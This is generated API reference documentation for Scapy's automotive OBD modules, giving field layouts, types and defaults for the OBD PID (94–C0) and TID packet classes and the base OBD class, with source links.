class scapy.contrib.automotive.obd.pid.pids_80_9F.OBD_PID94(_pkt, /, *, data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/pid/pids_80_9F.py#L227-L231]

	Bases: OBD_Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              DATA                             |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. OBD_PID94                          


OBD_PID94 fields






	data

	StrFixedLenField

	b''















	
class scapy.contrib.automotive.obd.pid.pids_80_9F.OBD_PID98(_pkt, /, *, data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/pid/pids_80_9F.py#L234-L238]

	Bases: OBD_Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              DATA                             |
+                                                               +
|                                                               |
+               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                          Fig. OBD_PID98                          


OBD_PID98 fields






	data

	StrFixedLenField

	b''















	
class scapy.contrib.automotive.obd.pid.pids_80_9F.OBD_PID99(_pkt, /, *, data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/pid/pids_80_9F.py#L241-L245]

	Bases: OBD_Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              DATA                             |
+                                                               +
|                                                               |
+               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                          Fig. OBD_PID99                          


OBD_PID99 fields






	data

	StrFixedLenField

	b''















	
class scapy.contrib.automotive.obd.pid.pids_80_9F.OBD_PID9A(_pkt, /, *, data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/pid/pids_80_9F.py#L248-L252]

	Bases: OBD_Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              DATA                             |
+                               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. OBD_PID9A                          


OBD_PID9A fields






	data

	StrFixedLenField

	b''















	
class scapy.contrib.automotive.obd.pid.pids_80_9F.OBD_PID9B(_pkt, /, *, data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/pid/pids_80_9F.py#L255-L259]

	Bases: OBD_Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              DATA                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. OBD_PID9B                          


OBD_PID9B fields






	data

	StrFixedLenField

	b''















	
class scapy.contrib.automotive.obd.pid.pids_80_9F.OBD_PID9C(_pkt, /, *, data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/pid/pids_80_9F.py#L262-L266]

	Bases: OBD_Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              DATA                             |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                          Fig. OBD_PID9C                          


OBD_PID9C fields






	data

	StrFixedLenField

	b''















	
class scapy.contrib.automotive.obd.pid.pids_80_9F.OBD_PID9D(_pkt, /, *, data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/pid/pids_80_9F.py#L269-L273]

	Bases: OBD_Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              DATA                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. OBD_PID9D                          


OBD_PID9D fields






	data

	StrFixedLenField

	b''















	
class scapy.contrib.automotive.obd.pid.pids_80_9F.OBD_PID9E(_pkt, /, *, data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/pid/pids_80_9F.py#L276-L280]

	Bases: OBD_Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              DATA             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. OBD_PID9E                          


OBD_PID9E fields






	data

	StrFixedLenField

	b''















	
class scapy.contrib.automotive.obd.pid.pids_80_9F.OBD_PID9F(_pkt, /, *, data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/pid/pids_80_9F.py#L283-L287]

	Bases: OBD_Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              DATA                             |
+                                                               +
|                                                               |
+               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                          Fig. OBD_PID9F                          


OBD_PID9F fields






	data

	StrFixedLenField

	b''

















            

          

      

      

    

  

    
      
          
            
  
scapy.contrib.automotive.obd.pid.pids_A0_C0


	
class scapy.contrib.automotive.obd.pid.pids_A0_C0.OBD_PIDA0(_pkt, /, *, supported_pids=<Flag 0 ()>)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/pid/pids_A0_C0.py#L16-L53]

	Bases: OBD_Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         SUPPORTED PIDS                        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. OBD_PIDA0                          


OBD_PIDA0 fields






	supported_pids

	FlagsField

	<Flag 0 ()>















	
class scapy.contrib.automotive.obd.pid.pids_A0_C0.OBD_PIDA1(_pkt, /, *, data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/pid/pids_A0_C0.py#L56-L60]

	Bases: OBD_Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              DATA                             |
+                                                               +
|                                                               |
+               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                          Fig. OBD_PIDA1                          


OBD_PIDA1 fields






	data

	StrFixedLenField

	b''















	
class scapy.contrib.automotive.obd.pid.pids_A0_C0.OBD_PIDA2(_pkt, /, *, data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/pid/pids_A0_C0.py#L63-L67]

	Bases: OBD_Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              DATA             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. OBD_PIDA2                          


OBD_PIDA2 fields






	data

	StrFixedLenField

	b''















	
class scapy.contrib.automotive.obd.pid.pids_A0_C0.OBD_PIDA3(_pkt, /, *, data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/pid/pids_A0_C0.py#L70-L74]

	Bases: OBD_Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              DATA                             |
+                                                               +
|                                                               |
+               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                          Fig. OBD_PIDA3                          


OBD_PIDA3 fields






	data

	StrFixedLenField

	b''















	
class scapy.contrib.automotive.obd.pid.pids_A0_C0.OBD_PIDA4(_pkt, /, *, data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/pid/pids_A0_C0.py#L77-L81]

	Bases: OBD_Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              DATA                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. OBD_PIDA4                          


OBD_PIDA4 fields






	data

	StrFixedLenField

	b''















	
class scapy.contrib.automotive.obd.pid.pids_A0_C0.OBD_PIDA5(_pkt, /, *, data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/pid/pids_A0_C0.py#L84-L88]

	Bases: OBD_Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              DATA                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. OBD_PIDA5                          


OBD_PIDA5 fields






	data

	StrFixedLenField

	b''















	
class scapy.contrib.automotive.obd.pid.pids_A0_C0.OBD_PIDA6(_pkt, /, *, data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/pid/pids_A0_C0.py#L91-L95]

	Bases: OBD_Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              DATA                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. OBD_PIDA6                          


OBD_PIDA6 fields






	data

	StrFixedLenField

	b''















	
class scapy.contrib.automotive.obd.pid.pids_A0_C0.OBD_PIDC0(_pkt, /, *, supported_pids=<Flag 0 ()>)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/pid/pids_A0_C0.py#L98-L135]

	Bases: OBD_Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         SUPPORTED PIDS                        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. OBD_PIDC0                          


OBD_PIDC0 fields






	supported_pids

	FlagsField

	<Flag 0 ()>

















            

          

      

      

    

  

    
      
          
            
  
scapy.contrib.automotive.obd.tid package

Package of contrib automotive obd specific modules
that have to be loaded explicitly.


Submodules



	scapy.contrib.automotive.obd.tid.tids









            

          

      

      

    

  

    
      
          
            
  
scapy.contrib.automotive.obd.tid.tids


	
class scapy.contrib.automotive.obd.tid.tids.OBD_S08_PR(_pkt, /, *, data_records=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/tid/tids.py#L132-L140]

	Bases: Packet


	
aliastypes

	




	
answers(other)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/tid/tids.py#L138-L140]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          DATA RECORDS         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. OBD_S08_PR                          


OBD_S08_PR fields






	data_records

	PacketListField

	[]















	
class scapy.contrib.automotive.obd.tid.tids.OBD_S08_PR_Record(_pkt, /, *, tid=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/tid/tids.py#L125-L129]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TID      |
+-+-+-+-+-+-+-+-+

                      Fig. OBD_S08_PR_Record                      


OBD_S08_PR_Record fields






	tid

	ByteField

	0











	
payload_guess

	Possible sublayers:
OBD_TID00, OBD_TID01, OBD_TID02, OBD_TID03, OBD_TID04, OBD_TID05, OBD_TID06, OBD_TID07, OBD_TID08, OBD_TID09, OBD_TID0A










	
class scapy.contrib.automotive.obd.tid.tids.OBD_TID00(_pkt, /, *, supported_tids=<Flag 0 ()>)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/tid/tids.py#L45-L82]

	Bases: OBD_Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         SUPPORTED TIDS                        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. OBD_TID00                          


OBD_TID00 fields






	supported_tids

	FlagsField

	<Flag 0 ()>















	
class scapy.contrib.automotive.obd.tid.tids.OBD_TID01(_pkt, /, *, data_a=0, data_b=0, data_c=0, data_d=0, data_e=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/tid/tids.py#L85-L86]

	Bases: _OBD_TID_Voltage


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     DATA A    |     DATA B    |     DATA C    |     DATA D    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     DATA E    |
+-+-+-+-+-+-+-+-+

                          Fig. OBD_TID01                          


OBD_TID01 fields






	data_a

	ScalingField

	0



	data_b

	ScalingField

	0



	data_c

	ScalingField

	0



	data_d

	ScalingField

	0



	data_e

	ScalingField

	0















	
class scapy.contrib.automotive.obd.tid.tids.OBD_TID02(_pkt, /, *, data_a=0, data_b=0, data_c=0, data_d=0, data_e=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/tid/tids.py#L89-L90]

	Bases: _OBD_TID_Voltage


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     DATA A    |     DATA B    |     DATA C    |     DATA D    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     DATA E    |
+-+-+-+-+-+-+-+-+

                          Fig. OBD_TID02                          


OBD_TID02 fields






	data_a

	ScalingField

	0



	data_b

	ScalingField

	0



	data_c

	ScalingField

	0



	data_d

	ScalingField

	0



	data_e

	ScalingField

	0















	
class scapy.contrib.automotive.obd.tid.tids.OBD_TID03(_pkt, /, *, data_a=0, data_b=0, data_c=0, data_d=0, data_e=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/tid/tids.py#L93-L94]

	Bases: _OBD_TID_Voltage


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     DATA A    |     DATA B    |     DATA C    |     DATA D    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     DATA E    |
+-+-+-+-+-+-+-+-+

                          Fig. OBD_TID03                          


OBD_TID03 fields






	data_a

	ScalingField

	0



	data_b

	ScalingField

	0



	data_c

	ScalingField

	0



	data_d

	ScalingField

	0



	data_e

	ScalingField

	0















	
class scapy.contrib.automotive.obd.tid.tids.OBD_TID04(_pkt, /, *, data_a=0, data_b=0, data_c=0, data_d=0, data_e=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/tid/tids.py#L97-L98]

	Bases: _OBD_TID_Voltage


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     DATA A    |     DATA B    |     DATA C    |     DATA D    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     DATA E    |
+-+-+-+-+-+-+-+-+

                          Fig. OBD_TID04                          


OBD_TID04 fields






	data_a

	ScalingField

	0



	data_b

	ScalingField

	0



	data_c

	ScalingField

	0



	data_d

	ScalingField

	0



	data_e

	ScalingField

	0















	
class scapy.contrib.automotive.obd.tid.tids.OBD_TID05(_pkt, /, *, data_a=0, data_b=0, data_c=0, data_d=0, data_e=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/tid/tids.py#L101-L102]

	Bases: _OBD_TID_Time


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     DATA A    |     DATA B    |     DATA C    |     DATA D    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     DATA E    |
+-+-+-+-+-+-+-+-+

                          Fig. OBD_TID05                          


OBD_TID05 fields






	data_a

	ScalingField

	0



	data_b

	ScalingField

	0



	data_c

	ScalingField

	0



	data_d

	ScalingField

	0



	data_e

	ScalingField

	0















	
class scapy.contrib.automotive.obd.tid.tids.OBD_TID06(_pkt, /, *, data_a=0, data_b=0, data_c=0, data_d=0, data_e=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/tid/tids.py#L105-L106]

	Bases: _OBD_TID_Time


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     DATA A    |     DATA B    |     DATA C    |     DATA D    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     DATA E    |
+-+-+-+-+-+-+-+-+

                          Fig. OBD_TID06                          


OBD_TID06 fields






	data_a

	ScalingField

	0



	data_b

	ScalingField

	0



	data_c

	ScalingField

	0



	data_d

	ScalingField

	0



	data_e

	ScalingField

	0















	
class scapy.contrib.automotive.obd.tid.tids.OBD_TID07(_pkt, /, *, data_a=0, data_b=0, data_c=0, data_d=0, data_e=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/tid/tids.py#L109-L110]

	Bases: _OBD_TID_Voltage


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     DATA A    |     DATA B    |     DATA C    |     DATA D    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     DATA E    |
+-+-+-+-+-+-+-+-+

                          Fig. OBD_TID07                          


OBD_TID07 fields






	data_a

	ScalingField

	0



	data_b

	ScalingField

	0



	data_c

	ScalingField

	0



	data_d

	ScalingField

	0



	data_e

	ScalingField

	0















	
class scapy.contrib.automotive.obd.tid.tids.OBD_TID08(_pkt, /, *, data_a=0, data_b=0, data_c=0, data_d=0, data_e=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/tid/tids.py#L113-L114]

	Bases: _OBD_TID_Voltage


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     DATA A    |     DATA B    |     DATA C    |     DATA D    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     DATA E    |
+-+-+-+-+-+-+-+-+

                          Fig. OBD_TID08                          


OBD_TID08 fields






	data_a

	ScalingField

	0



	data_b

	ScalingField

	0



	data_c

	ScalingField

	0



	data_d

	ScalingField

	0



	data_e

	ScalingField

	0















	
class scapy.contrib.automotive.obd.tid.tids.OBD_TID09(_pkt, /, *, data_a=0, data_b=0, data_c=0, data_d=0, data_e=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/tid/tids.py#L117-L118]

	Bases: _OBD_TID_Period


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     DATA A    |     DATA B    |     DATA C    |     DATA D    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     DATA E    |
+-+-+-+-+-+-+-+-+

                          Fig. OBD_TID09                          


OBD_TID09 fields






	data_a

	ScalingField

	0



	data_b

	ScalingField

	0



	data_c

	ScalingField

	0



	data_d

	ScalingField

	0



	data_e

	ScalingField

	0















	
class scapy.contrib.automotive.obd.tid.tids.OBD_TID0A(_pkt, /, *, data_a=0, data_b=0, data_c=0, data_d=0, data_e=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/tid/tids.py#L121-L122]

	Bases: _OBD_TID_Period


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     DATA A    |     DATA B    |     DATA C    |     DATA D    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     DATA E    |
+-+-+-+-+-+-+-+-+

                          Fig. OBD_TID0A                          


OBD_TID0A fields






	data_a

	ScalingField

	0



	data_b

	ScalingField

	0



	data_c

	ScalingField

	0



	data_d

	ScalingField

	0



	data_e

	ScalingField

	0

















            

          

      

      

    

  

    
      
          
            
  
scapy.contrib.automotive.obd.obd


	
class scapy.contrib.automotive.obd.obd.OBD(_pkt, /, *, service=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/obd.py#L35-L81]

	Bases: ISOTP


	
aliastypes

	




	
answers(other)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/obd.py#L70-L81]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    SERVICE    |
+-+-+-+-+-+-+-+-+

                             Fig. OBD                             


OBD fields






	service

	XByteEnumField

	0











	
hashret()[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/obd.py#L65-L68]

	




	
payload_guess

	Possible sublayers:
OBD_S09_PR, OBD_S06_PR, OBD_S01_PR, OBD_S02_PR, OBD_NR, OBD_S01, OBD_S02, OBD_S03_PR, OBD_S03, OBD_S04_PR, OBD_S04, OBD_S06, OBD_S07_PR, OBD_S07, OBD_S08, OBD_S09, OBD_S0A_PR, OBD_S0A, OBD_S08_PR






	
